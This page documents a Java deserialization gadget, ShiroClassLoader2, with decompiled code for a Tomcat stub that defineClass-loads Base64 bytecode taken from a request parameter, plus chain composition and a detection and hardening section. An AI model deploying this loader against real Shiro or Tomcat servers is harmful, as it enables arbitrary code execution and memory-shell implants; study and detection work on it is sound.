Skip to content

Latest commit

 

History

History
166 lines (133 loc) · 13.6 KB

File metadata and controls

166 lines (133 loc) · 13.6 KB

Shiro下字节码分离加载2(ShiroClassLoader2)

  • 类别:bytecode 别名:— 优先级:—
  • 作者:SummerSec
  • 依赖:无第三方 Maven 依赖(运行期利用目标 Web 容器自带的 org.apache.shiro.codec.Base64 与 Tomcat/Coyote 内部结构)

作用

这是一个字节码 sink(END)构件:invoke 不向内层对象套壳,而是直接产出一段 byte[] 恶意类字节码。该字节码模板类 ShiroClassLoaderBytecode2 一旦被目标加载(通常经 TemplatesImpl / defineClass 触发其 static {} 静态块),会遍历当前 Web 容器的 HTTP 工作线程、反射取回当前请求对象、读取一个指定名字的请求参数、把参数里的 Base64 字节码解码后再用 ClassLoader.defineClass 加载执行

其定位是「字节码分离加载」:Shiro rememberMe 等反序列化入口对 payload 长度有实际限制,无法直接塞入体积较大的最终 payload(内存马 / 回显类)。因此本 gadget 只作为一个短小的加载器 stub 进入受限的反序列化载荷,真正体积大的目标字节码则通过一次普通 HTTP 请求的参数「分离」投递,由 stub 在服务端二次 defineClass 装载——从而绕过长度限制。

链接标签

  • 入口 tagsBytecodeSpringEND
    • Bytecode:本构件产出的是类字节码(byte[]),占据整链中「字节码源」槽位(与 ExecReverseShell 等同槽),由上游 BytecodeConvert 装入 TemplatesImpl 后交容器加载。
    • Spring:标记其运行环境面向 Spring / Tomcat(Coyote)Web 容器——静态块中的反射路径依赖 Tomcat 的请求处理结构。
    • END:链尾终止标签,本构件自身即最终产物,其后不再有更内层 gadget。
  • 衔接 nextTags:(无)——作为链尾 sink,不再向下衔接。
  • excludes:(无)。

源码剖析

一、Gadget 外壳(ShiroClassLoader2.java)

@GadgetTags(tags={"Bytecode", "Spring", "END"})
@GadgetAnnotation(name="Shiro下字节码分离加载2",
    description="适用于Shiro环境下字节码长度限制, POST传入字节码参数时,需要对base64字符串进行url编码",
    authors={"SummerSec"})
public class ShiroClassLoader2 implements Gadget {
    @Param(name="请求参数名")
    public String param = "data";

    public byte[] getObject() throws Exception {
        JavassistHelper javassistHelper = new JavassistHelper(ShiroClassLoaderBytecode2.class);
        javassistHelper.modifyStringField("param", this.param);  // 把模板类静态字段 param 改写为用户指定的请求参数名
        return javassistHelper.getBytecode();                    // 返回改写后的类字节码
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        chain.doCreate(context);   // 推进链协议(本 gadget 为源,返回值被丢弃,仅用于完成链构建/上下文传递)
        return this.getObject();
    }
}

要点:

  • 外壳极薄。invoke 走一遍 chain.doCreate(context) 履行链协议后,直接返回 getObject() 的字节码——没有把内层对象包进任何数据结构,因为它本身就是链尾字节码源。
  • getObject 通过 JavassistHelper 加载模板类 ShiroClassLoaderBytecode2 的 class 文件,调用 modifyStringField("param", this.param) 把模板里 public static String param; 字段的初值改写为攻击者选定的请求参数名(默认 data),再 getBytecode 导出字节码。JavassistHelpercom.ar3h.chains.common.util.JavassistHelper,工程内部工具类,其源码不在 反编译范围内)的职责即「以 Javassist 加载指定类 → 修改其常量 / 字段 → 导出 byte[]」,是本仓库所有字节码模板 gadget 的通用改写器。

二、恶意模板类的静态块(ShiroClassLoaderBytecode2.java)

真正的利用逻辑在被投递的类里。该类被 defineClass + newInstance()(由 TemplatesImpl 机制触发)后,其 static {} 执行如下(变量名为 CFR 反编译原样):

public class ShiroClassLoaderBytecode2 {
    public static String param;   // 被 JavassistHelper 改写为实际请求参数名

    private static Object getFV(Object var0, String var1) throws Exception {   // 反射逐层向上读私有字段
        Field var2 = null;
        for (Class<?> var3 = var0.getClass(); var3 != Object.class; var3 = var3.getSuperclass()) {
            try { var2 = var3.getDeclaredField(var1); break; }
            catch (NoSuchFieldException var5) { continue; }
        }
        if (var2 == null) throw new NoSuchFieldException(var1);
        var2.setAccessible(true);
        return var2.get(var0);
    }

    static {
        try {
            String var3 = null;
            boolean var5 = false;
            Thread[] var6 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");  // ① 取线程组全部线程
            block4: for (int var7 = 0; var7 < var6.length; ++var7) {
                Thread var8 = var6[var7];
                String var2; Object var1;
                // ② 只挑 HTTP 工作线程:名字含 "http"、不含 "exec",且 target 为 Runnable
                if (var8 == null || (var2 = var8.getName()).contains("exec")
                        || !var2.contains("http")
                        || !((var1 = getFV(var8, "target")) instanceof Runnable)) continue;
                try {
                    // ③ target.this$0 → handler → global,深入 Coyote 协议处理器
                    var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");
                } catch (Exception var18) { continue; }
                List var10 = (List) getFV(var1, "processors");   // ④ global.processors:请求处理器列表
                for (int var11 = 0; var11 < var10.size(); ++var11) {
                    Object var12 = var10.get(var11);
                    var1 = getFV(var12, "req");                                          // ⑤ Coyote Request
                    Object var4 = var1.getClass().getMethod("getResponse", new Class[0]).invoke(var1, new Object[0]);
                    Object var13 = var1.getClass().getMethod("getNote", Integer.TYPE).invoke(var1, new Integer(1)); // ⑥ note(1)=Catalina Request
                    var3 = (String) var13.getClass().getMethod("getParameter", String.class).invoke(var13, param); // ⑦ 读取指定参数
                    if (var3 != null && !var3.isEmpty()) {
                        byte[] var14 = Base64.decode((String) var3);                     // ⑧ Base64 解码(整串,含类文件头)
                        Method var15 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
                        var15.setAccessible(true);
                        Class var16 = (Class) var15.invoke(ShiroClassLoaderBytecode2.class.getClassLoader(),
                                                           var14, new Integer(0), new Integer(var14.length)); // ⑨ defineClass
                        var16.newInstance().equals(var13);                              // ⑩ 实例化被载类,并把 request 传给它
                        var5 = true;
                    }
                    if (var5) continue block4;
                }
            }
        } catch (Exception exception) {
            // empty catch block —— 反射路径不匹配时静默失败,不影响原始反序列化流程
        }
    }
}

逐段说明:

  • ①–② 定位 HTTP 处理线程:从当前线程组反射取出 threads 数组,筛掉名字含 exec 的线程(避开异步执行线程池),只保留名字含 httptargetRunnable 的 Tomcat NIO/BIO 工作线程。这是「无依赖、跨请求」内存马 / 回显的经典手法——不通过 RequestContextHolder,而是直接从线程栈找请求。
  • ③–④ 钻取 Coyote 内部target.this$0(工作线程 Runnable 的外部类实例)→ handlerglobal,拿到 AbstractProtocolRequestGroupInfoglobal),再取其 processors 列表。
  • ⑤–⑦ 取当前请求与参数:对每个 processor 反射取 req(Coyote Request);getNote(1) 取出挂在 note 槽位 1 的 Catalina org.apache.catalina.connector.Request,对其调用 getParameter(param) 读取攻击者用 param 命名的请求参数值(即分离投递的字节码 Base64 串)。
  • ⑧–⑩ 二次装载org.apache.shiro.codec.Base64.decode 解码后,反射调用 ClassLoader.defineClass(byte[], 0, len) 把攻击者的完整字节码定义为类,newInstance() 实例化触发其构造逻辑,并把 Catalina request 对象通过 .equals(var13) 传入——被载类通常在构造 / equals 中拿到 request/response 完成命令回显或落地内存马。
  • 异常吞并:整个静态块包在 try/catch 内,任何环境不匹配都静默返回,保证承载它的反序列化链不因加载失败而抛栈暴露。

三、与 v1(ShiroClassLoader)的关键差异

两者 Gadget 外壳几乎相同(仅模板类不同)。差异只在模板静态块的第 ⑧ 步解码:

  • v1(ShiroClassLoaderBytecode)Base64.decode("yv66vg" + var3) —— 在服务端硬编码补上 yv66vg(即类文件魔数 CAFEBABE 的 Base64 前缀)。因此攻击者投递参数时需去掉字节码开头的这段头部字符串,以「减少特征」。
  • v2(ShiroClassLoaderBytecode2)Base64.decode(var3) —— 不做任何前缀拼接,直接解码整串。因此攻击者需传入完整的 Base64 字节码(含头部);正如 description 所述,用 POST 传参时该 Base64 串需要额外进行 URL 编码+ / = 等在表单体中会被误解析)。

参数(@Param)

字段 名称 说明 类型 默认值 可选值
param 请求参数名 服务端 stub 读取「分离投递字节码」时使用的 HTTP 请求参数名;须与二次请求中携带 Base64 字节码的参数名一致 String data —(自由填写)

适用版本与原理要点

  • 适用环境:Shiro(rememberMe 反序列化,存在 payload 长度限制)+ 底层为 Tomcat / Coyote 的 Spring Web 应用。静态块的反射路径(threadstarget.this$0.handler.global.processors.reqgetNote(1))严格依赖 Tomcat 内部结构,非 Tomcat 容器(Jetty/Undertow 等)不适用——那些环境应改用对应的 echo 构件。
  • 依赖 org.apache.shiro.codec.Base64:解码用的是 Shiro 自带的 Base64,故目标 classpath 上须有 shiro-core(Shiro 环境天然满足)。
  • param 名一致性@Param.param 会被写死进模板字节码,二次投递请求里承载 Base64 的参数名必须与之相同,否则第 ⑦ 步 getParameter 取不到值。
  • v2 需 URL 编码:POST 表单体中的 Base64 字节码串须整体 URL 编码,避免 +///= 被容器错误解析而导致 defineClass 失败。
  • JDK 限制:作为字节码源,通常经 TemplatesImpl 装载,要求目标 JDK 版本支持 TemplatesImpl 加载路径(一般 JDK < 17;高版本需相应模块开放)。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。可按标签手动组合:作为 tags=Bytecode 的字节码源,占据 Shiro 反序列化链中原本放 Exec 的槽位,例如 [CommonsBeanutils1, TemplatesImpl, BytecodeConvert, ShiroClassLoader2],即用「分离加载 stub」替换直接命令执行,绕过 Shiro payload 长度限制。

关联

  • 同族 / 上游装载BytecodeConvert(把本构件产出的 byte[] 装入 TemplatesImpl 载体)。
  • v1 变体ShiroClassLoader(服务端硬编码 yv66vg 头,投递时去头以降特征;v2 传完整 Base64 但需 URL 编码)。
  • 同槽位替代ExecReverseShell 等其它 tags=Bytecode 的字节码源——本构件不同之处在于产出的是「分离加载器」而非直接命令执行。

防御与检测

  • 检测特征(流量)
    • Shiro rememberMe 反序列化流量之后,紧跟一次同名参数(默认 data,或攻击者自定义)携带长 Base64 串的 HTTP 请求;v2 的该串通常经 URL 编码,解码后以 yv66vgCAFEBABE)开头,是完整 .class 文件的强指纹。
    • 请求体中出现超长、以类文件魔数 Base64 起始的参数值,应视为字节码投递告警。
  • 检测特征(运行期)
    • 反射调用链 Thread.getThreadGroup().threadsgetFV(... "handler"/"global"/"processors"/"req")ClassLoader.defineClass 的组合,是无依赖内存马 / 类加载器的典型行为;RASP 可对 ClassLoader.defineClass 的反射调用(setAccessible(true) 后经 Method.invoke)设点。
    • TemplatesImpl 触发的动态类定义、来源不明的 defineClass 调用栈。
  • 加固建议
    • 修复 Shiro 反序列化根因:升级 shiro,避免默认 / 泄露的 rememberMe AES 密钥,对反序列化入口做类白名单(ValidatingObjectInputStream / 反序列化过滤 jdk.serialFilter)。
    • JVM 层:启用序列化过滤器阻断 TemplatesImplBeanComparator 等跳板类;限制反射对 ClassLoader.defineClass 的可达性(SecurityManager 已弃用场景下改用 RASP / JVMTI 钩子)。
    • 容器层:对请求参数长度与内容做基线,异常超长 Base64 参数触发审计;监控 Web 工作线程内出现的非预期 defineClass